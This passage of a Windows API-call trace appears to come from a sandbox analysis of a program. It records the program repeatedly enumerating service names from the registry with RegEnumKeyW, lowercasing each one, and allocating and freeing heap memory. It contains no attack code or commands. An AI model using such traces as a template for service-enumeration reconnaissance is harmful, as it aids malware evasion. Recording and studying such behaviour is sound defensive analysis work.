Flags=0x8, Size=0x40) returned 0x21f1970 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.873] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.874] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0245.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.875] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0245.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0245.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0245.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0245.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0245.878] RtlAllocateHeap 